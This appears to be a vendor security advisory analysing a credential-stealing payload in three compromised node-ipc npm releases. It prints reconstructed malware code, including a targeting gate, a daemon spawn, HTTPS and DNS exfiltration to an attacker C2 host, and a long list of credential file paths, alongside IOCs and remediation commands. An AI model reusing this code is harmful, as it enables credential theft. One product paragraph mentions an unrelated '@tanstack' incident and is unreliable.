





















On May 14, 2026, three malicious versions of node-ipc, a foundational Node.js inter-process communication library with over 10 million weekly downloads, were simultaneously published to the npm registry. Versions 9.1.6, 9.2.3, and 12.0.1 each carry an identical 80 KB obfuscated credential-stealing payload injected into the package's CommonJS bundle. The compromised versions were published by the account atiertant (a.tiertant@atlantis-software.net) -- a maintainer account not responsible for any prior release of the package. This incident was detected by StepSecurity AI Package Analyst.
The attack is surgically precise. Publishing across two major version lines at once is a deliberate blast-radius maximization strategy: users pinned to ~9.1.x, ~9.2.x, ^9, ^12, or ~12.0 all received the compromised package automatically on their next install or lockfile refresh. The 9.x releases are entirely fabricated -- the 9.x line never shipped a CommonJS bundle before this attack.
Once loaded via require('node-ipc'), the payload silently harvests over 90 categories of credentials -- AWS, Azure, GCP, SSH keys, Kubernetes tokens, GitHub CLI configs, Claude AI and Kiro IDE settings, Terraform state, database passwords, shell history, and more -- compresses everything into a gzip archive, and exfiltrates it to an attacker-controlled server masquerading as Azure infrastructure. The ESM entry point is untouched; only the CommonJS bundle is compromised.
The package was originally authored by Brandon Nozaki Miller (RIAEvangelist) and was previously involved in the 2022 peacenotwar incident, which deployed a geopolitically motivated file-destruction payload. This 2026 attack is independently staged by a different actor with a purely financial credential-theft motive.
If you have installed any of the compromised versions listed below, assume all secrets accessible in that environment are compromised.
Three simultaneous malicious releases target different semver range patterns used in real projects:
node-ipc@9.1.6node-ipc@9.2.3node-ipc@12.0.1npm's latest dist-tag now points to node-ipc@12.0.1. Any project that runs npm install node-ipc without a pinned version will pull the compromised tarball.
All three malicious versions were published on 2026-05-14. The compromised node-ipc.cjs file is byte-for-byte identical across all three, confirming a single staging operation: one compiled, obfuscated bundle was inserted into three separate package.json contexts before simultaneous publishing. Versions 11.1.0 and other non-affected lines are clean. The 2022 peacenotwar incident (versions 10.1.1/10.1.2) was a different attack by a different actor.
This attack relied on a compromised or rogue maintainer account rather than a CI/CD pipeline hijack. The chain breaks down into three steps.
Version 12.0.0 was published on August 12, 2024 by riaevangelist, the legitimate original author. Twenty-one months later, three new versions were published by a separate account, atiertant (a.tiertant@atlantis-software.net), which currently appears in node-ipc's maintainer list but has no prior publish history on this package. The 21-month gap is a recurring pattern in npm supply chain attacks targeting dormant high-download packages. Either the atiertant credentials were freshly compromised, or the account was added as a maintainer specifically to enable this publish operation.
The malicious payload is an Immediately Invoked Function Expression (IIFE) appended at the very end of node-ipc.cjs, after the final module.exports line. Because Node.js evaluates every top-level statement in a CommonJS module on load, the IIFE fires unconditionally on every require('node-ipc'). No method invocation, configuration flag, or trigger condition is needed beyond importing the package. There are no preinstall, install, or postinstall scripts in package.json -- this is a deliberate evasion choice that makes the payload invisible to tools that only scan lifecycle hooks.
The ESM bundle (node-ipc.js) and all individual source files are untouched. Projects that import via import ipc from 'node-ipc' with a bundler that resolves the "module" field are unaffected. Projects using require('node-ipc') or any toolchain that resolves "main" to node-ipc.cjs are at risk.
Rather than poisoning a single release, the attacker published across two major version lines simultaneously. The 9.x series is particularly interesting because the legitimate 9.x line never contained a node-ipc.cjs bundle at all. The attacker copied the 12.x package structure into entirely synthetic 9.1.6 and 9.2.3 tarballs. There is no real codebase being patched -- the 9.x compromised releases are wholly fabricated packages that share only a name with their legitimate predecessors.
The following diagram shows the full attack flow from module load to data exfiltration:

The obfuscated IIFE at line 1271 of node-ipc.cjs runs the instant Node.js evaluates the file. It schedules the rest of its work via setImmediate() to avoid blocking the event loop, making execution less likely to raise immediate red flags in application logs.
The diff between the last clean release and the compromised version is surgical -- a single line addition of 80,079 characters:
--- node-ipc-12.0.0/node-ipc.cjs 1269 lines, 37 KB (clean)
+++ node-ipc-12.0.1/node-ipc.cjs 1271 lines, 117 KB (compromised)
var singleton = new IPCModule();
0 && (module.exports = { IPCModule });
+
+(function(_0xaed59b,_0x282d65){var _0x4524e4=_0x1a49, ... /* 80 KB obfuscated payload */There are no install-time hooks in package.json. The payload does not run during npm install. It fires the first time any application calls require('node-ipc'), making it invisible to tools that only scan preinstall / postinstall hooks.
The payload calls its custom decoder function three times to unpack hard-coded attack configuration from a custom base-16 encoded string table:
_0x501a65 = {
r: 'sh.azurestaticprovider.net:443', // C2 address
k: 'qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi', // auth/HMAC key
z: 'bt.node.js', // request identifier
w: os.release() + 'nt-' + process.env[...] // system fingerprint
}Version 12.0.1 contains a precision targeting gate that the 9.x versions do not. The very first operation the payload performs is a SHA-256 fingerprint check. It computes SHA256(path.normalize(module.filename).toLowerCase()) and compares it to a hardcoded hash assembled from eight obfuscated table fragments:
// Reconstructed from deobfuscated source
const TARGET_HASH = [
'bf9d8c0c', // _0x2d1488['qaQKf']
'3ed3ceaa', // _0x2d1488['WvVHB']
'831a13de', // _0x2d1488['bEBCM']
'27f1b1c7', // _0x2d1488['IZHwy']
'c7b7f01d', // _0x2d1488['IhWjW']
'2db4103b', // _0x2d1488['oMpYu']
'fdba4191', // _0x2d1488['fZfOW']
'940b0301', // _0x2d1488['MjCcY']
].join('');
// = 'bf9d8c0c3ed3ceaa831a13de27f1b1c7c7b7f01d2db4103bfdba4191940b0301'
const isTarget = !!module.filename &&
crypto.createHash('sha256')
.update(path.normalize(module.filename).toLowerCase(), 'utf8')
.digest('hex') === TARGET_HASH;
if (!isTarget) return; // silent exit on non-target systemsThis means 12.0.1 is entirely inert on any machine whose primary module path does not hash to the target value. The attacker knows exactly which project or developer is being targeted and pre-computed the hash of their entry point before publishing. Critically, the SHA-256 hash is opaque to defenders -- there is no way to reverse the hash to determine which specific path is being targeted without brute-forcing the input space. If you installed 12.0.1, treat the compromise as certain, not possible. The 9.x versions do not have this gate and will execute the full payload on any system that loads them.
On a matching system (or unconditionally for 9.x), the payload checks for the environment variable __ntw. If absent, it immediately spawns a detached clone of the current process with __ntw=1 set, then allows the parent to continue normally so the application never hangs or errors:
// Reconstructed daemonization logic
const childEnv = Object.assign({}, process.env, { __ntw: '1' });
delete childEnv.NODE_OPTIONS; // strip any debugger/inspector flags
const daemon = child_process.fork(
path.normalize(module.filename),
[],
{
cwd: process.cwd(),
detached: true,
stdio: 'ignore', // no stdout/stderr visible to parent
env: childEnv,
execArgv: [],
windowsHide: true,
}
);
daemon.channel?.unref?.();
daemon.unref(); // parent continues without waitingThe daemon creates a staging directory at $TMPDIR/nt-<PID>/, runs execSync('uname -a') to collect OS information (the command is spelled out character-by-character using String.fromCharCode to evade simple string matching), then serializes all environment variables to JSON.
A 5,141-character encoded blob (decoded to 2,570 bytes of UTF-8) holds 90+ file-path patterns. The payload resolves each pattern using statSync() and readdirSync(), then reads matching files. The target list spans the full spectrum of developer and cloud credentials:
~/.aws/credentials, ~/.aws/config, ~/.aws/sso/cache/*, ~/.azure/accessTokens.json, ~/.azure/msal_token_cache.*, ~/.config/gcloud/application_default_credentials.json, ~/.config/gcloud/credentials.db, plus OCI, DigitalOcean, Hetzner, Scaleway, Alibaba Cloud, IBM Cloud, Fly.io, Vercel, Railway, Snowflake, MinIO~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id*, ~/.ssh/known_hosts, /etc/ssh/ssh_host_*_key, ~/.git-credentials, ~/.gitconfig, ~/.config/gh/hosts.yml~/.kube/config, ~/.docker/config.json, /var/run/secrets/kubernetes.io/serviceaccount/token, /etc/rancher/k3s/k3s.yaml.claude.json, ~/.claude.json, ~/.claude/mcp.json, .kiro/settings/mcp.json~/.terraform.d/credentials.tfrc.json, ~/.terraformrc, **/terraform.tfvars, **/*.auto.tfvars~/.npmrc, ~/.pypirc, ~/.netrc, ~/.yarnrc~/.pgpass, ~/.my.cnf, ~/.snowflake/connections.toml, **/config/database.yml**/.github/workflows/*.yml, **/.gitlab-ci.yml, **/.env.production~/.bash_history, ~/.zsh_history, ~/.python_history, ~/.mysql_history~/Library/Keychains/*.keychain-db.env, **/.env.local, **/.env.productionAll collected data is assembled in memory into a ustar-format TAR archive. Two fixed files anchor the archive: uname.txt (OS metadata and uname -a output) and envs.txt (all environment variable key-value pairs, sorted). Every matched credential file is added under its resolved path. The archive is then compressed with zlib.gzipSync().
The payload attempts two independent exfiltration channels simultaneously. Either channel succeeding is sufficient for the attacker to receive the stolen data.
Channel 1: HTTPS POST to fake Azure domain
// C2 server: sh.azurestaticprovider.net:443
// Resolved IP at time of analysis: 37.16.75.69
//
// The domain is crafted to blend into Azure-heavy environments.
// "azurestaticprovider" reads as a plausible Azure service subdomain.
//
// Each request is chunked and HMAC-SHA256 authenticated:
const sig = crypto.createHmac('sha256', key + '|t')
.update(body)
.digest('hex')
.slice(0, N);
// JSON metadata sent in first chunk (header):
{
v: 1,
machineHex: "<machine fingerprint>",
cloud: "none",
archivePath: "/tmp/nt-1234/abc.tar.gz",
gzipBytes: 98304,
hdrChunks: 2,
datChunks: 31,
hostLabel: "<session ID>"
}Channel 2: DNS TXT exfiltration (direct C2 sink)
Before transmitting, the payload explicitly overrides the system DNS resolver with Google Public DNS (8.8.8.8) to bypass any local DNS-based security controls. It first resolves sh.azurestaticprovider.net using 1.1.1.1 (primary) or 8.8.8.8 (fallback) to obtain the C2 IP. Then it re-targets the resolver directly at the C2 IP for all exfiltration queries:
// DNS exfiltration bypasses all public resolvers
const resolver = new dns.promises.Resolver();
resolver.setServers(['37.16.75.69']); // direct to C2 IP, not public DNS
// Each chunk of the TAR archive is hex-encoded as a DNS TXT query:
// <data_chunk>.<session_id>.<chunk_index>.<total>.bt.node.js
//
// The C2 server doubles as a custom DNS sink on port 53.
// bt.node.js has no TLD registration -- it exists only as a cosmetic
// suffix inside UDP packets that never leave the attacker's infrastructure.
await resolver.resolveTxt(queryLabel);The direct-to-C2 DNS sink is a notable anti-detection technique. Because the exfiltration queries never touch public DNS resolvers, there is no observable bt.node.js activity in public DNS logs. Organizations relying solely on DNS logging through corporate resolvers would not see this traffic.
The payload uses javascript-obfuscator with four layers of protection stacked together to resist static analysis:
0xb5c88 (744,584 decimal). Every sensitive string lives in this shuffled array rather than inline in the code.'5|1|4|3|0|2') consumed by switch dispatch loops, replacing natural sequential code.0123456789GHJKMP, decoded at runtime by function _0x485bae().The most effective obfuscation layer is the custom base-16 encoding combined with reversed nibble order. Standard hex letters a-f are replaced with visually distinct uppercase characters (G=10, H=11, J=12, K=13, M=14, P=15), and bytes are assembled in little-endian nibble order -- the opposite of conventional hex encoding. Anyone who correctly identifies the custom alphabet and writes a standard decoder still recovers garbage. You have to reverse the nibble pairs to get plaintext:
// Custom base-16 alphabet: 0123456789GHJKMP
// G=10(a) H=11(b) J=12(c) K=13(d) M=14(e) P=15(f)
// Letters I, L, N, O were skipped -- too similar to 1, 1, 0, 0
// Encoded C2 address in string table (position 32):
raw = '3786M216G75727563747164796360727P66796465627M2M65647G34343339'
// Standard decode (WRONG -- high nibble first):
// 37 -> 0x37 = '7' 86 -> 0x86 = garbage
// Reversed decode (CORRECT -- low nibble first):
// 37 -> (7<<4)|3 = 0x73 = 's'
// 86 -> (6<<4)|8 = 0x68 = 'h'
// M2 -> (2<<4)|14= 0x2E = '.'
// ...
// Result: "sh.azurestaticprovider.net:443"
// Encoded auth key (position 324):
'17G58307J43367M487259377H4K645978426653664764437G41654P655966'
// Decoded: 'qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi'96097e0612d9575cb133021017fb1a5c68a03b60f9f3d24ebdc0e628d9034144ab7388363936bf527afd4173b5728c7cdbdd01abb2001dc4e13d0244f96e70258346700109907b90e1d0b09522778829dcd5e4cf9672e9fb93a457f1d359511b4e53490dfe5d107b9d285327af579259a32977c4f475fa2678a82d93b4f580835f5823b85a3d9ee1f03a15ee6f0e01b4eac86252a700298158ae7338960ef525d7c655023d7c81e3ddb283d6c2f4dc64aec4631540a568e88932b61daebbfb7e8281b812fa01b7215f9be9eaf5974a9774a22a863728b960543f68e7009099ef449e4265979b5fdb2d3446c021af437e815debd66de7da2fe54f1ad93cbcc75esh.azurestaticprovider[.]net -- NOT a Microsoft domain. Mimics azurestaticapps.net and azurewebsites.net in logs.37.16.75.69 -- Block at network layer37.16.75.69 (UDP 53) -- C2 server doubles as DNS sink; receives raw exfil queries directly8.8.8.8 / 1.1.1.1 -- Used only to resolve C2 hostname, not for exfiltration*.bt.node.js -- Cosmetic suffix in exfil TXT queries; never appears in public DNSqZ8pL3vNxR9wKmTyHbVcFgDsJaEoUibt.node.jsbf9d8c0c3ed3ceaa831a13de27f1b1c7c7b7f01d2db4103bfdba4191940b0301$TMPDIR/nt-<PID>/__ntw=1node-ipc.cjs line 1271 (80,079-byte single obfuscated line)0xb5c88 (744,584 decimal), 340 left-rotations of 443 entriesnode-ipc@9.1.6, @9.2.3, or @12.0.1 in lockfiles or node_modulesnode-ipc.cjs file size anomaly: 117 KB vs 37 KB for clean versionssh.azurestaticprovider.net or 37.16.75.69:44337.16.75.69 from application processes$TMPDIR/nt-* on the filesystem__ntw=1 in their environmentYou are potentially affected if any of the following is true:
1. Direct dependency: Your project's package.json lists node-ipc with a range that resolves to 9.1.6, 9.2.3, or 12.0.1:
npm ls node-ipc2. Transitive dependency: A package your project depends on depends on node-ipc:
npm ls node-ipc --all 2>/dev/null | grep -E '9\.1\.6|9\.2\.3|12\.0\.1'3. Lock file check: Search your lockfiles directly:
# npm
grep -E '"node-ipc".*"(9\.1\.6|9\.2\.3|12\.0\.1)"' package-lock.json
# yarn
grep -E 'node-ipc@(9\.1\.6|9\.2\.3|12\.0\.1)' yarn.lock
# pnpm
grep -E 'node-ipc.*9\.1\.6|9\.2\.3|12\.0\.1' pnpm-lock.yaml4. CI/CD environments: If your pipelines install npm dependencies, check your workflow run history. Any job that ran npm install or npm ci after 2026-05-14 against an unlocked or loose semver dependency on node-ipc in the 9.x or 12.x range may have pulled the compromised version.
If you installed any of the three compromised versions: assume all credentials, tokens, and environment secrets present on that machine or CI/CD environment at the time are compromised. Rotate all secrets immediately. Do not wait for confirmation of exfiltration. Treat the compromise as certain, not possible.
1. Pin to a safe version. Update your dependency to one of the last known-clean releases immediately:# For 9.x users
# For 9.x users
npm install node-ipc@9.2.1
# For 12.x users
npm install node-ipc@12.0.02. Regenerate your lock file after updating to ensure the compromised version is fully evicted from the resolved dependency graph.
3. Check for staging directories left by the daemon:
# macOS / Linux
ls -la "${TMPDIR}/nt-"* 2>/dev/null || ls -la /tmp/nt-* 2>/dev/null
# If found, the daemon executed on this machine.
# Preserve for forensics before deleting.
4. Check for daemon processes with the __ntw=1 marker:
# Linux
grep -rl '__ntw' /proc/*/environ 2>/dev/null
# macOS
ps auxeww | grep __ntw5. Rotate all credentials accessible on the affected system. Priority order:
.env-based secrets in affected repositories~/.claude.json and ~/.claude/mcp.json)~/.pgpass, MySQL ~/.my.cnf)~/.npmrcsh.azurestaticprovider[.]net or 37.16.75.69 after 2026-05-14.node-ipc@9.1.6, @9.2.3, or @12.0.1 was installed in any GitHub Actions, GitLab CI, CircleCI, or other workflow runner, assume every secret injected into that environment -- including GITHUB_TOKEN, cloud credentials, deploy keys, and any repository secrets -- was captured.StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis, IOCs, affected versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Harden-Runner is a purpose-built security agent for CI/CD runners.
It enforces a network egress allowlist in GitHub Actions, restricting outbound network traffic to only allowed endpoints. Both DNS and network-level enforcement prevent covert data exfiltration. Any outbound connection to sh.azurestaticprovider.net, or any domain outside your allowlist, is blocked and alerted in real time. The DNS exfiltration channel -- TXT queries routed directly to 37.16.75.69:53 rather than any legitimate resolver -- is similarly anomalous and blocked by egress DNS policy enforcement.

StepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from registry.npmjs.org, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.
The primary defense here is the cooldown period. Newly published package versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised node-ipc@9.1.6, node-ipc@9.2.3, and node-ipc@12.0.1 versions were published to npm, Secure Registry customers were never exposed. Their registries continued serving the last known safe versions while the cooldown clock ran, giving the community and StepSecurity's AI Package Analyst time to flag and permanently block the malicious releases.

Supply chain attacks like this one do not stop at the CI/CD pipeline. The malicious obfuscated payload embedded in the compromised node-ipc.cjs bundle harvests credentials, SSH keys, cloud tokens, and AI tool configurations from the local environment. Every developer who ran npm install with a compromised node-ipc version outside of CI is a potential point of compromise.
StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.

Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, the compromised node-ipc versions were all published simultaneously on May 14, so any PR updating to node-ipc@9.1.6, node-ipc@9.2.3, or node-ipc@12.0.1 during the cooldown period would have been blocked automatically.

StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All three compromised node-ipc versions were added to this database within minutes of detection.

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.

AI Package Analyst continuously monitors the npm registry for suspicious releases in real time, scoring packages for supply chain risk before you install them. In this case, the compromised @tanstack versions were flagged within minutes of publication, giving teams time to investigate, confirm malicious intent, and act before the packages accumulated significant installs. The 3.7x tarball size anomaly, injected router_init.js at the package root, and the optionalDependencies reference to a GitHub fork commit were all surfaced as high-confidence supply chain indicators. Alerts include the full behavioral analysis, decoded payload details, and direct links to the OSS Security Feed.
node-ipc.cjs across all three versions confirms a single staging operation: one compiled, obfuscated bundle was inserted into three separate package.json contexts before simultaneous publishing.node-ipc.cjs bundle. The attacker copied the 12.x package structure, replaced the version field, and published 9.1.6 and 9.2.3 as entirely synthetic packages -- there is no legitimate codebase they patch or extend.azurestaticprovider.net is not a Microsoft-owned domain. It is a typosquatting domain crafted to visually blend with legitimate Azure infrastructure names like azurestaticapps.net and azurewebsites.net. Security teams seeing this domain in logs may assume it is normal Azure traffic.此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。